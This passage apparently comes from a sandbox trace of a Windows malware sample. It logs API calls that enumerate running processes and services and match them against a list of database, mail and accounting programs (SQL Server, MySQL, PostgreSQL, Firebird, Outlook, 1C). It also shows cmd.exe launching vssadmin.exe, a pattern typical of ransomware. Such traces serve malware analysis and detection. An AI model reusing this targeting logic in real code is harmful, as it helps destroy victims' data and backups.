returned -1 [0241.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0241.067] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0241.067] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0241.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0241.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0241.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0241.067] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.067] lstrlenW (lpString="services.exe") returned 12 [0241.067] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0241.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0241.067] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0241.067] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0241.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0241.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0241.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0241.067] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.067] lstrlenW (lpString="lsass.exe") returned 9 [0241.067] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0241.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0241.068] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0241.068] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0241.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0241.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0241.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0241.068] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0241.068] lstrlenW (lpString="lsm.exe") returned 7 [0241.068] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0241.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0241.068] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0241.068] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0241.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0241.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0241.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0241.068] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.068] lstrlenW (lpString="svchost.exe") returned 11 [0241.068] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.068] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.068] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.069] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.069] lstrlenW (lpString="svchost.exe") returned 11 [0241.069] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.069] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.069] lstrlenW (lpString="svchost.exe") returned 11 [0241.069] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.070] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.070] lstrlenW (lpString="svchost.exe") returned 11 [0241.070] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.070] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.070] lstrlenW (lpString="svchost.exe") returned 11 [0241.070] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.070] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.071] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.071] lstrlenW (lpString="audiodg.exe") returned 11 [0241.071] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.071] lstrlenW (lpString="svchost.exe") returned 11 [0241.071] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.072] lstrlenW (lpString="svchost.exe") returned 11 [0241.072] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0241.072] lstrlenW (lpString="userinit.exe") returned 12 [0241.072] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.072] lstrlenW (lpString="dwm.exe") returned 7 [0241.072] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.073] lstrlenW (lpString="explorer.exe") returned 12 [0241.073] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.073] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.073] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0241.073] lstrlenW (lpString="taskhost.exe") returned 12 [0241.073] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.073] lstrlenW (lpString="svchost.exe") returned 11 [0241.073] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0241.074] lstrlenW (lpString="uyuquk.exe") returned 10 [0241.074] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0241.074] lstrlenW (lpString="reader_sl.exe") returned 13 [0241.074] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0241.074] lstrlenW (lpString="cmd.exe") returned 7 [0241.074] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0241.075] lstrlenW (lpString="conhost.exe") returned 11 [0241.075] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0241.075] lstrlenW (lpString="dllhost.exe") returned 11 [0241.075] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0241.075] lstrlenW (lpString="vssadmin.exe") returned 12 [0241.075] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0241.076] CloseHandle (hObject=0x204) returned 1 [0241.076] Sleep (dwMilliseconds=0x1f4) [0241.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0241.619] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0241.619] GetLastError () returned 0xea [0241.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x42e73a0 [0241.619] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0241.620] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0241.620] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0241.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.620] lstrlenW (lpString="AudioSrv") returned 8 [0241.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0241.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0241.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0241.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0241.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0241.620] lstrlenW (lpString="BFE") returned 3 [0241.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.620] lstrlenW (lpString="CryptSvc") returned 8 [0241.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.621] lstrlenW (lpString="CscService") returned 10 [0241.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0241.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0241.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0241.621] lstrlenW (lpString="DcomLaunch") returned 10 [0241.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.621] lstrlenW (lpString="Dhcp") returned 4 [0241.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.621] lstrlenW (lpString="Dnscache") returned 8 [0241.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.621] lstrlenW (lpString="DPS") returned 3 [0241.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.621] lstrlenW (lpString="eventlog") returned 8 [0241.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0241.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0241.621] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0241.621] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0241.622] lstrlenW (lpString="EventSystem") returned 11 [0241.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.622] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.622] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.622] lstrlenW (lpString="gpsvc") returned 5 [0241.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.622] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.622] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.622] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.622] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.622] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.622] lstrlenW (lpString="lmhosts") returned 7 [0241.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.622] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.622] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.622] lstrlenW (lpString="MMCSS") returned 5 [0241.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0241.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0241.622] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0241.622] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0241.622] lstrlenW (lpString="MpsSvc") returned 6 [0241.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.622] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.622] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.622] lstrlenW (lpString="NlaSvc") returned 6 [0241.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.623] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.623] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.623] lstrlenW (lpString="nsi") returned 3 [0241.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.623] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.623] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.623] lstrlenW (lpString="PcaSvc") returned 6 [0241.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.623] lstrlenW (lpString="PlugPlay") returned 8 [0241.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.623] lstrlenW (lpString="Power") returned 5 [0241.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.623] lstrlenW (lpString="ProfSvc") returned 7 [0241.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.623] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.623] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.623] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.624] lstrlenW (lpString="RpcSs") returned 5 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.624] lstrlenW (lpString="SamSs") returned 5 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0241.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0241.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0241.624] lstrlenW (lpString="Schedule") returned 8 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0241.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned 